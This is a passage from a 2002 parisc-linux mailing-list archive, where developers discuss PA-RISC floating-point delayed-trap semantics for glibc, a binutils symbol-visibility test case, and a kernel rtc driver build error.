the ftest insn being queued in floating-point coprocessor.

There is some information in pa.md on the floating-point units used with
different processors.  For example, the 7100LC has three floating-point
units: ALU, MUL, and DIV.  The situation in the PA8000 is much more
complicated because of its large reorder buffer (56 entries).

When an exception occurs, it sets the T bit and the coprocessor is
armed to trap if the exception enable for the trap is 1.  The trap
is taken at the next floating point insn.  However, because of the
out of order execution of instructions and multiple floating-point
units, care has to be taken in selecting the following insn.  It
has to have a dependency on the trap generating insn to ensure that
it actually follows.  Possibly, the ftest is unnecessary but it
ensures that any traps related to the previous two insns are taken.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] simple testcase for binutils visibility problem
Date: Mon, 11 Nov 2002 21:31:24 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20021112053124.GA8261@tausq.org>
References: <20021111211713.GD9704@systemhalted> <200211112133.gABLXg3j003013@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621908 16740 80.91.229.3 (22 Nov 2014 02:05:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:08 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 22:27:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 027624829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 22:27:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3FC74CDB18; Mon, 11 Nov 2002 21:31:24 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200211112133.gABLXg3j003013@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16737

> > The fix is non-obvious to me. I have no idea where to begin here.
> > Any hints? :)
> 
> It isn't obvious to me either other than the problem is probably in
> elf32-hppa.c.  I would look at the testsuite results for ld, pick
> a simple test that fails and try to figure out what is going wrong.

here's a trivial test case in case anyone wants to track this down :-)

======= undef.s ==========
        .protected protected
        .hidden hidden
        .internal internal
==========================

assemble with 'as -o undef.o undef.s' and run 'readelf -s undef.o'

on pa, you get:
Symbol table '.symtab' contains 4 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 SECTION LOCAL  DEFAULT    2
     3: 00000000     0 SECTION LOCAL  DEFAULT    3

on ia32/ia64, i get this more reasonable output:

Symbol table '.symtab' contains 7 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 SECTION LOCAL  DEFAULT    1
     2: 0000000000000000     0 SECTION LOCAL  DEFAULT    2
     3: 0000000000000000     0 SECTION LOCAL  DEFAULT    3
     4: 0000000000000000     0 NOTYPE  GLOBAL PROTECTED  UND protected
     5: 0000000000000000     0 NOTYPE  GLOBAL HIDDEN  UND hidden
     6: 0000000000000000     0 NOTYPE  GLOBAL INTERNAL  UND internal

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] simple testcase for binutils visibility problem
Date: Tue, 12 Nov 2002 00:58:26 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200211120558.gAC5wQjB003802@hiauly1.hia.nrc.ca>
References: <20021112053124.GA8261@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621908 16742 80.91.229.3 (22 Nov 2014 02:05:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:08 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 22:58:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B88164829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 22:58:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAC5wQot003803;
	Tue, 12 Nov 2002 00:58:26 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAC5wQjB003802;
	Tue, 12 Nov 2002 00:58:26 -0500 (EST)
In-Reply-To: <20021112053124.GA8261@tausq.org> from "Randolph Chung" at Nov 11, 2002 09:31:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16738

> here's a trivial test case in case anyone wants to track this down :-)

Please post to binutils.  I'm tied up for a bit trying to track
a ld bug on hppa64.  I've managed to break gcc when using gnu ld :(
Sometimes HP stuff works better.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 10:44:07 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200211121544.gACFi8Na004766@hiauly1.hia.nrc.ca>
References: <200211120413.gAC4DBBB003677@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621909 16746 80.91.229.3 (22 Nov 2014 02:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:09 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 08:44:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5D684829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 08:44:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gACFi8ot004767;
	Tue, 12 Nov 2002 10:44:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gACFi8Na004766;
	Tue, 12 Nov 2002 10:44:08 -0500 (EST)
In-Reply-To: <200211120413.gAC4DBBB003677@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 11, 2002 11:13:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16739

> > __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
> > 			/* FIXME: is this a proper trap barrier? */
> > 			"fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0"(d));
> 
> Looking at fraiseexcept, I see that you only want to raise one
> exception at a time out of a specified set.  Reading the status register
> will raise all outstanding exceptions.  I think what needs to be
> done is something like the following:

After a night's sleep, I had a couple more thoughts on this.

1) You probably want to clear the T bit at the beginning of the
   routine.  This will ensure that you get the correct exception
   when the first one is raised.  The only way to do this without
   potentially causing a pending trap to trigger is with a double
   word store to floating-point register 0.  You can't read register
   0 before the write without potentially triggering a trap, so
   you need to know what the current state should be.  See page
   10-5 of the PA2 arch manual.

2) A fcpy insn should raise an exception if it depends on the
   result of a pending trapping insn (the current code doesn't).
   It would be best to not use register 0 or the source register
   for the destination register since in theory the processor
   would then know the operation is a nop.  Then, the insn could
   be reordered or discarded.  The fcpy insn is nice since it
   is non-arithmetic and doesn't cause an invalid operation
   exception when a NaN is copied.  The fcmp insn isn't quite
   as nice since it will generate an invalid operation when one
   of the values is a signaling NaN, or if the low-order bit
   of the condition code is 1 and one of the values is an NaN.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 09:42:51 -0800
Organization: Hewlett-Packard
Lines: 26
Approved: news@gmane.org
Message-ID: <00fc01c28a72$ec50fa70$6763f40f@cup.hp.com>
References: <200211121544.gACFi8Na004766@hiauly1.hia.nrc.ca>
Reply-To: <jim_hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621909 16750 80.91.229.3 (22 Nov 2014 02:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:09 +0000 (UTC)
Cc: <carlos@baldric.uwo.ca>, <parisc-linux@lists.parisc-linux.org>,
	<tausq@debian.org>
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 10:42:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0FA04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 10:42:55 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel10.hp.com (Postfix) with ESMTP
	id AFD69C00570; Tue, 12 Nov 2002 09:42:51 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id JAA18027;
	Tue, 12 Nov 2002 09:43:01 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <200211121544.gACFi8Na004766@hiauly1.hia.nrc.ca>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16740

John David Anglin wrote:

> 2) A fcpy insn should raise an exception if it depends on the
>    result of a pending trapping insn (the current code doesn't).
>    It would be best to not use register 0 or the source register
>    for the destination register since in theory the processor
>    would then know the operation is a nop.  Then, the insn could
>    be reordered or discarded.  The fcpy insn is nice since it
>    is non-arithmetic and doesn't cause an invalid operation
>    exception when a NaN is copied.  The fcmp insn isn't quite
>    as nice since it will generate an invalid operation when one
>    of the values is a signaling NaN, or if the low-order bit
>    of the condition code is 1 and one of the values is an NaN.

This isn't right.  According to "Delayed Trapping" on p. 10-5 of the
PA-RISC 2.0 book, an fcpy need not raise a pending exception, because it
is not mentioned in the "delayed trap must occur" list.

Now, it's possible that it might (usually) work on the processor
implementations you're interested in, but it's not architecturally
guaranteed.

 -- Jim
    HP PA-RISC (and IPF) Processor Architect



From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 12:53:50 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200211121753.gACHroK0005228@hiauly1.hia.nrc.ca>
References: <00fc01c28a72$ec50fa70$6763f40f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621909 16754 80.91.229.3 (22 Nov 2014 02:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:09 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
To: jim_hull@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 10:57:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A4EF4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 10:57:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gACHrpot005229;
	Tue, 12 Nov 2002 12:53:52 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gACHroK0005228;
	Tue, 12 Nov 2002 12:53:50 -0500 (EST)
In-Reply-To: <00fc01c28a72$ec50fa70$6763f40f@cup.hp.com> from "Jim Hull" at Nov 12, 2002 09:42:51 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16741

> This isn't right.  According to "Delayed Trapping" on p. 10-5 of the
> PA-RISC 2.0 book, an fcpy need not raise a pending exception, because it
> is not mentioned in the "delayed trap must occur" list.

What about "The current instruction is a load or store of the detination
register of a pending trapping instruction or an operation which depends
on a pending trapping instruction"?

I think the latter part of the sentence would apply to a fcpy of the
destination register of a pending trapping instruction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 10:43:43 -0800
Organization: Hewlett-Packard
Lines: 34
Approved: news@gmane.org
Message-ID: <012101c28a7b$6d84b7a0$6763f40f@cup.hp.com>
References: <200211121753.gACHroK0005228@hiauly1.hia.nrc.ca>
Reply-To: <jim_hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621910 16758 80.91.229.3 (22 Nov 2014 02:05:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:10 +0000 (UTC)
Cc: <carlos@baldric.uwo.ca>, <parisc-linux@lists.parisc-linux.org>,
	<tausq@debian.org>
To: "'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 11:43:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CE6B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 11:43:52 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel13.hp.com (Postfix) with ESMTP
	id 6ED93400A33; Tue, 12 Nov 2002 10:43:44 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id KAA19326;
	Tue, 12 Nov 2002 10:43:53 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <200211121753.gACHroK0005228@hiauly1.hia.nrc.ca>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16742

Dave:

> What about "The current instruction is a load or store of the
destination
> register of a pending trapping instruction or an operation which
depends
> on a pending trapping instruction"?
> 
> I think the latter part of the sentence would apply to a fcpy of the
> destination register of a pending trapping instruction.

I thought that might be the item you were thinking of.  Sometimes, in
our effort to be as concise as possible, we went too far in the PA-RISC
book.

The correct interpretation of that sentence is:

  The current instruction is a load or store of the destination register
  of a pending trapping instruction,

  or

  the current instruction is a load or store of the destination register
  of an operation which depends on a pending trapping instruction.

In other words, it must be a load or store of a destination register,
either of the pending trapping instruction itself, or of any subsequent
instruction which depends on that pending trapping instruction.

Hope this helps.

 -- Jim



From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.5] rtc doesn't build
Date: Tue, 12 Nov 2002 18:57:07 +0000 (UTC)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621910 16762 80.91.229.3 (22 Nov 2014 02:05:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 11:57:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5179E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 11:57:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id CBE181FFEAA
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 19:57:29 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 017831FFEC5; Tue, 12 Nov 2002 19:57:28 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id A170B22E18; Tue, 12 Nov 2002 18:57:07 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 933A822E13
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 18:57:07 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16743

Hi,


thi sseems to be a problem with nonexistent defines expected
to be in include/asm-parisc/mc146818rtc.h


  gcc -Wp,-MD,drivers/char/.rtc.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc -iwithprefix include -DMODULE -include include/linux/modversions.h   -DKBUILD_BASENAME=rtc -DEXPORT_SYMTAB  -c -o drivers/char/rtc.o drivers/char/rtc.c
drivers/char/rtc.c: In function `rtc_do_ioctl':
drivers/char/rtc.c:411: warning: implicit declaration of function `CMOS_READ'
drivers/char/rtc.c:412: `RTC_ALWAYS_BCD' undeclared (first use in this function)
drivers/char/rtc.c:412: (Each undeclared identifier is reported only once
drivers/char/rtc.c:412: for each function it appears in.)
drivers/char/rtc.c:418: warning: implicit declaration of function `CMOS_WRITE'
drivers/char/rtc.c: In function `rtc_init':
drivers/char/rtc.c:858: warning: implicit declaration of function `RTC_PORT'
drivers/char/rtc.c: In function `get_rtc_time':
drivers/char/rtc.c:1162: `RTC_ALWAYS_BCD' undeclared (first use in this function)
drivers/char/rtc.c: In function `get_rtc_alm_time':
drivers/char/rtc.c:1201: `RTC_ALWAYS_BCD' undeclared (first use in this function)
make[2]: *** [drivers/char/rtc.o] Error 1
make[1]: *** [drivers/char] Error 2
make: *** [drivers] Error 2




-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Tue, 12 Nov 2002 14:02:01 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200211121902.gACJ22tw005444@hiauly1.hia.nrc.ca>
References: <012101c28a7b$6d84b7a0$6763f40f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621910 16772 80.91.229.3 (22 Nov 2014 02:05:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:10 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org
